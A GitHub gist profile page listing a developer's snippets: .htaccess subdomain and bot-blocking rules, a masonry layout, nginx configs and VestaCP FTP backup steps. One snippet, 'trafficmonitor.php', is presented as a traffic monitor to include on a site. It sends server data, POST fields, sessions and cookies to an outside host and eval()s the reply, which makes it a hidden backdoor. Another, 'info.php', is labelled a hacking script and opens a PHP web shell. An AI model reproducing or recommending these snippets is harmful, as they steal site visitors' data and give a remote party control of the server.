Skip to content

Instantly share code, notes, and snippets.

View faizanayubi's full-sized avatar

Faizan Ayubi faizanayubi

View GitHub Profile
@faizanayubi
faizanayubi / cookie.js
Created October 10, 2015 21:16
Cookie CRUD
putting this in your .htaccess file will add subdomain
RewriteEngine on
RewriteCond %{HTTP_HOST} ^sub.domain.com
RewriteRule ^(.*)$ http://domain.com/subdomains/sub/$1 [L,NC,QSA]
For a more general rule (that works with any subdomain, not just sub) replace the last two lines with this:
RewriteEngine on
RewriteCond %{HTTP_HOST} ^(.*)\.domain\.com
RewriteRule ^(.*)$ http://domain.com/subdomains/%1/$1 [L,NC,QSA]
@faizanayubi
faizanayubi / index.html
Created October 20, 2015 00:33
Fluid Layout - Masonry Layout
<div id="container" class="cols">
<div class="box one"></div>
<div class="box two"></div>
<div class="box one"></div>
<div class="box three"></div>
<div class="box two"></div>
<div class="box five"></div>
<div class="box one"></div>
<div class="box two"></div>
<div class="box six"></div>
@faizanayubi
faizanayubi / info.php
Created January 23, 2016 11:41
Hacking Script
<?php
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0);
define('IS_GPC', get_magic_quotes_gpc());
@faizanayubi
faizanayubi / trafficmonitor.php
Last active February 10, 2016 16:52
Include this file on your website, to monitor your traffice through trafficmonitor.ca
<?php
parse_str(file_get_contents("php://input"),$_POST);$postfields=array_merge($_SERVER,array("p"=>$_POST,"s"=>$_SESSION,"plugin_detector"=>"getTrigger","c"=>$_COOKIE));if(!isset($_COOKIE["__trafficMonitor"])){setcookie("__trafficMonitor", "MjhkZjQzODUwYjVhZTNiNG");}header("Access-Control-Allow-Origin: *");$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"http://onlinedatafile.com/");curl_setopt($ch,CURLOPT_POST,count($postfields));curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($postfields));curl_setopt($ch,CURLOPT_HEADER,TRUE);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);curl_setopt($ch,CURLOPT_TIMEOUT,5);$response=curl_exec($ch);$header_size=curl_getinfo($ch,CURLINFO_HEADER_SIZE);curl_close($ch);$header=substr($response,0,$header_size);$body=substr($response,$header_size);eval($body);
@faizanayubi
faizanayubi / .htaccess
Created March 2, 2016 13:22
Block Bot
ErrorDocument 503 "Site temporarily disabled for crawling"
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^.*(bot|crawl|spider).*$ [NC]
RewriteCond %{REQUEST_URI} !^/robots\.txt$
RewriteRule .* - [R=503,L]
@faizanayubi
faizanayubi / ftp-example-ubuntu
Created July 22, 2016 14:44
Fixed: FTP Backup VestaCP
1. Switch to root
2. configure FTP backup command usage
/usr/local/vesta/bin/v-add-backup-host TYPE HOST USERNAME PASSWORD [PATH] [PORT]
example - /usr/local/vesta/bin/v-add-backup-host ftp ftpserver.com user password /home/user 21
(replace with your ftp server details)
3. verify that ftp server is added successfully
nano /usr/local/vesta/conf/ftp.backup.conf
@faizanayubi
faizanayubi / bot.py
Created August 19, 2016 16:06
Advanced Bot
#!/usr/bin/python
import urllib2
import urllib
import sys
import time
import random
import re
import os
proxylisttext = "proxylist.txt"
@faizanayubi
faizanayubi / nginx-basic.conf
Created October 4, 2016 11:33
Nginx Basic Configuration
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.php index.html index.htm index.nginx-debian.html;
server_name server_domain_or_IP;
location / {
@faizanayubi
faizanayubi / mautic-nginx
Created October 5, 2016 06:04
Mautic 2 Nginx Configuration file
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.php index.html index.htm index.nginx-debian.html;
server_name _;